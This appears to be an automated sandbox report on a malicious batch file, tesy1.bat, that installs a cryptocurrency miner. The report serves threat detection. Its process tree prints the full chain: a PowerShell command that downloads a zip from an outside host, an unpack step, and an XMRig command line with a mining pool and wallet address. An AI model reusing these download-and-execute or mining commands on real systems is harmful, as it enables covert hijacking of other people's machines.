Overview
overview
10Static
static
1tesy1.bat
windows7-x64
10tesy1.bat
windows10-2004-x64
10tesy10.bat
windows7-x64
10tesy10.bat
windows10-2004-x64
10tesy11.bat
windows7-x64
10tesy11.bat
windows10-2004-x64
10tesy12.bat
windows7-x64
10tesy12.bat
windows10-2004-x64
10tesy2.bat
windows7-x64
10tesy2.bat
windows10-2004-x64
10tesy3.bat
windows7-x64
10tesy3.bat
windows10-2004-x64
10tesy4.bat
windows7-x64
10tesy4.bat
windows10-2004-x64
10tesy5.bat
windows7-x64
10tesy5.bat
windows10-2004-x64
10tesy6.bat
windows7-x64
10tesy6.bat
windows10-2004-x64
10tesy7.bat
windows7-x64
10tesy7.bat
windows10-2004-x64
10tesy8.bat
windows7-x64
10tesy8.bat
windows10-2004-x64
10tesy9.bat
windows7-x64
10tesy9.bat
windows10-2004-x64
10Analysis
-
max time kernel
1795s -
max time network
1802s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
04/07/2023, 14:09
Static task
static1
Behavioral task
behavioral1
Sample
tesy1.bat
Resource
win7-20230703-en
Behavioral task
behavioral2
Sample
tesy1.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
tesy10.bat
Resource
win7-20230703-en
Behavioral task
behavioral4
Sample
tesy10.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
tesy11.bat
Resource
win7-20230703-en
Behavioral task
behavioral6
Sample
tesy11.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
tesy12.bat
Resource
win7-20230703-en
Behavioral task
behavioral8
Sample
tesy12.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
tesy2.bat
Resource
win7-20230621-en
Behavioral task
behavioral10
Sample
tesy2.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
tesy3.bat
Resource
win7-20230703-en
Behavioral task
behavioral12
Sample
tesy3.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
tesy4.bat
Resource
win7-20230703-en
Behavioral task
behavioral14
Sample
tesy4.bat
Resource
win10v2004-20230621-en
Behavioral task
behavioral15
Sample
tesy5.bat
Resource
win7-20230703-en
Behavioral task
behavioral16
Sample
tesy5.bat
Resource
win10v2004-20230621-en
Behavioral task
behavioral17
Sample
tesy6.bat
Resource
win7-20230703-en
Behavioral task
behavioral18
Sample
tesy6.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
tesy7.bat
Resource
win7-20230703-en
Behavioral task
behavioral20
Sample
tesy7.bat
Resource
win10v2004-20230621-en
Behavioral task
behavioral21
Sample
tesy8.bat
Resource
win7-20230703-en
Behavioral task
behavioral22
Sample
tesy8.bat
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
tesy9.bat
Resource
win7-20230703-en
General
-
Target
tesy1.bat
-
Size
700B
-
MD5
185a2d7bf8c479e47ed8e1ef2cffe6a3
-
SHA1
810436c92e9eb0c3ef0f6867e938b314f85f43c0
-
SHA256
e5aaa6de5373b002a54ae2cce47c384f11a80e66b03531b98e8eff1a8dd79581
-
SHA512
9f1fad5e2a66d6e3d8645ce6c4614fe65ccd169dfa7f78fa3ada228bd543fa7c3dadc384d839d063b66887207897226c57dc62bfb8458ba65614f153791c44bd
Malware Config
Extracted
https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral2/files/0x0008000000023277-179.dat family_xmrig behavioral2/files/0x0008000000023277-179.dat xmrig behavioral2/memory/1524-182-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-185-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-188-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-189-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-190-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-191-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-192-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-193-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-194-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-195-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-196-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-197-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-198-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-199-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-200-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-201-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-202-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-203-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-204-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-205-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-206-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-207-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-208-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-209-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-210-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-211-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-212-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-213-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-214-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-215-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-216-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-217-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-218-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-219-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-220-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-221-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-222-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-223-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-224-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-225-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-226-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-227-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-228-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-229-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-230-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-231-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-232-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-233-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-234-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-235-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-236-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-237-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-238-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-239-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-240-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-241-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-242-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-243-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-244-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-245-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-246-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig behavioral2/memory/1524-247-0x00007FF7E3F70000-0x00007FF7E4A73000-memory.dmp xmrig -
Blocklisted process makes network request 1 IoCs
flow pid Process 7 4584 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1524 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4584 powershell.exe 4584 powershell.exe 4184 powershell.exe 4184 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4584 powershell.exe Token: SeDebugPrivilege 4184 powershell.exe Token: SeLockMemoryPrivilege 1524 xmrig.exe Token: SeLockMemoryPrivilege 1524 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1524 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4744 wrote to memory of 4584 4744 cmd.exe 84 PID 4744 wrote to memory of 4584 4744 cmd.exe 84 PID 4744 wrote to memory of 4184 4744 cmd.exe 86 PID 4744 wrote to memory of 4184 4744 cmd.exe 86 PID 4744 wrote to memory of 2728 4744 cmd.exe 87 PID 4744 wrote to memory of 2728 4744 cmd.exe 87 PID 2728 wrote to memory of 1524 2728 cmd.exe 89 PID 2728 wrote to memory of 1524 2728 cmd.exe 89
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4584
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 4AifziM6zLv4yV4tpjL9S7joqqMjRkCNQakDCxupKLiiVRmPg8pd2aVRPNo5tVZ2BhSdhadzda7V8EuHuWY3xpq2SCZ28HY.alt -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1524
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-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5c20ac38ae3022e305b8752804aadf486
SHA14c144d6cfafb5c37ab4810ff3c1744df81493cdb
SHA25603cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf
SHA512c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3.2MB
MD5bf4229c027030eeea0db49d10248181d
SHA14d8291b1dd4d3ef3279cc4189d2ddfc88c1e3dad
SHA25625fb70772bc5772ceefac7ebd9dbc684f4235c98f8d357f9001736adbfc6b5ba
SHA512204c60a8f428c7ac3d07f90e678dae91410c5e9d919820748b45b62526146b03386b3c026da208fc8136df6cb19c61e0d1537f2bfee3032836a41165018acd4c
-
Filesize
187B
MD5afb477de9747aa1571a5525e94bf2a4f
SHA182ac5daaeacd7b0814725c7f01f5464b24e2e000
SHA25643e47a94bf314751868298f703f4f8641764918e683e37ee6fc8110f4dd61c0b
SHA5127240cd0fecf838210afb8c2e06672181e1002b134b2c44a69c80aa6ccd30f36911670fe234d95f9a508b83cc8bdaf3d8b28029a7d55b3b8a4e1afaa6dd2d1997
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa